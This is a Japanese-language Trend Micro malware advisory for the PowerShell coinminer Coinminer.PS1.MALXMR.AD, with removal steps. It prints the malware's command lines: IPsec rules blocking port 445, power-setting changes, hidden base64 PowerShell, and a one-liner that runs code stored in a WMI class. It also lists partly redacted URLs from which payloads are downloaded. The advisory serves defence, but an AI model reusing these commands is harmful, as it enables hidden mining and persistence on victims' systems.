Trend Micro Security

Coinminer.PS1.MALXMR.AD

2019年1月16日
 解析者: John Donnie Celestre   
 プラットフォーム:

Windows

 危険度:
 ダメージ度:
 感染力:
 感染確認数:
 システムへの影響:
 情報漏えい:


  • マルウェアタイプ: 仮想通貨発掘ツール（コインマイナー）
  • 破壊活動の有無: なし
  • 暗号化: はい
  • 感染報告の有無: はい

  概要


コインマイナーは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

コインマイナーは、ダウンロードしたファイルを実行します。

  詳細

ファイルサイズ 14,109 bytes
メモリ常駐 はい
発見日 2019年1月10日

侵入方法

コインマイナーは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

コインマイナーは、以下のプロセスを追加します。

  • findstr.exe /i /m /c:cryptonight c:\windows\explorer.exe;
  • netsh.exe ipsec static add filter filterlist=block any srcmask=32 srcport=0 dstaddr=me dstport=445 protocol=tcp description=445;
  • netsh.exe ipsec static add filteraction name=block action=block;
  • netsh.exe ipsec static add filterlist name=block;
  • netsh.exe ipsec static add policy name=netbc;
  • netsh.exe ipsec static add rule name=block policy=netbc filterlist=block filteraction=block;
  • netsh.exe ipsec static set policy name=netbc assign=y;
  • NETSTAT.EXE -anop tcp;
  • powercfg.exe /CHANGE -hibernate-timeout-ac 0;
  • powercfg.exe /CHANGE -standby-timeout-ac 0;
  • powershell.exe -NoP -NonI -W Hidden -E {base64 encoded data}==;
  • powershell.exe -NoP -NonI -W Hidden "$mon = ([WmiClass] 'root\default:System_Anti_Virus_Core').Properties['mon'].Value;$funs = ([WmiClass] 'root\default:System_Anti_Virus_Core').Properties['funs'].Value ;iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($funs)));Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($mon, $mon, 'Void', 0, '', '')";
  • schtasks.exe /delete /tn yastcat /f;

他のシステム変更

コインマイナーは、以下のレジストリ値を追加します。

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\IPSec
OperationMode = 3

ダウンロード活動

コインマイナーは、以下のWebサイトにアクセスし、ファイルをダウンロードします。

  • http://111.{BLOCKED}.{BLOCKED}.149/antivirus.ps1
  • http://111.{BLOCKED}.{BLOCKED}.149/logos.png
  • http://111.{BLOCKED}.{BLOCKED}.149/ver.txt
  • http://update.win{BLOCKED}fender{BLOCKED}st.com/antivirus.ps1
  • http://update.win{BLOCKED}fender{BLOCKED}st.com/logos.png
  • http://update.win{BLOCKED}fender{BLOCKED}st.com/ver.txt

コインマイナーは、ダウンロードしたファイルを実行します。

  対応方法

対応検索エンジン: 9.850
初回 VSAPI パターンバージョン 14.743.00
初回 VSAPI パターンリリース日 2019年1月9日
VSAPI OPR パターンバージョン 14.743.00
VSAPI OPR パターンリリース日 2019年1月10日

手順 1

Windows XP、Windows Vista および Windows 7 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。

手順 2

このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム（OS）の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル／フォルダ／レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。

手順 3

Windowsをセーフモードで再起動します。

[ 詳細 ]

手順 4

追加されたスケジュールタスクの削除：

Windows 2000、XP および Server 2003 の場合：

  1. スケジュールタスクを開きます。
    [スタート]-[プログラム]-[アクセサリー]-[システムツール]-[タスク スケジューラ]をクリック
  2. ダブルクリックでJOBファイルを開きます。
  3. JOBファイルにマルウェアのパスおよびファイルが含まれているかを確認します。
  4. 上記欄に該当する名前が含まれていた場合、問題のJOBファイルを削除します。
  5. 残りのJOBファイルに対して、2.)から4.)の手順を繰り返します。

Windows Vista、7、Server 2008、8、8.1 および Server 2012 の場合：

  1. タスクスケジューラを開きます。
    • Windows Vista、7 および Server 2008 の場合：
      [スタート]をクリック。[検索]入力欄に"taskschd.msc"と入力し、Enterを押します。
    • Windows 8、8.1 および Server 2012 の場合：
      画面の左隅を右クリックし、[実行]を選択します。"taskschd.msc"と入力し、Enterを押します。
  2. タスクスケジューラ画面の左側のパネルで、[タスク スケジューラ ライブラリ]を選択します。
  3. 真ん中上部のパネルで、[タスク]をクリック。
  4. 真ん中下部のパネルの、[操作]タブをクリック。
  5. タスクにマルウェアのパスおよびファイル名が表示されているかを確認。確認された場合、[操作]タブ内の[詳細]欄の値を確認します。
  6. 値が確認される場合、タスクを選択。DELETEを押し、[はい]をクリックしてタスクを削除します。
  7. 残りのJOBファイルに対して、3.)から5.)の手順を繰り返します。

手順 5

コンピュータを通常モードで再起動し、最新のバージョン（エンジン、パターンファイル）を導入したウイルス対策製品を用い、「Coinminer.PS1.MALXMR.AD」と検出したファイルの検索を実行してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。


ご利用はいかがでしたか？　アンケートにご協力ください